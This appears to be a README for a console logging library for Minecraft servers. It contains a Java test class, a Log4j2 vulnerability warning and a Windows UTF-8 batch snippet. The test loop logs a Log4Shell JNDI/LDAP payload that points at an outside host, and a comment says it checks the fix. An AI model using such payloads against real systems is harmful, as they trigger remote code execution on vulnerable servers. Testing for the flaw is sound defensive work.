The minecraft logging system
WARNING! Log4j2 < 2.15 has remote code injection. Use the LAST RELEASE(1.1)!
import java.util.concurrent.atomic.AtomicInteger;
import net.steelswing.mclog.ServerConsole;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
*
* @author SteelSwing
*/
public class TestConsole {
private static final Logger log = LogManager.getLogger();
public static void main(String[] args) throws Exception {
ServerConsole console = new ServerConsole().addListener((ServerConsole cns, String cmd) -> {
if (cmd.equalsIgnoreCase("stop")) {
cns.setRunning(false); // stop console handler
}
});
AtomicInteger counter = new AtomicInteger(0);
while (console.isRunning()) {
if (counter.incrementAndGet() % 10 == 0) {
log.error("&cHello &aWorld!");
log.info("${jndi:ldap://someadress.com:1389/hackthisapp}"); // test log4j2 Remote code injection fix
}
Thread.sleep(20);
}
}
}
Enable support for Russian characters (Windows)
rem test bat file.
chcp 65001
java -Dfile.encoding=UTF-8 -jar you_jar.jar
![](https://raw.githubusercontent.com/steelswing/mclog/master/Screenshot_92.png)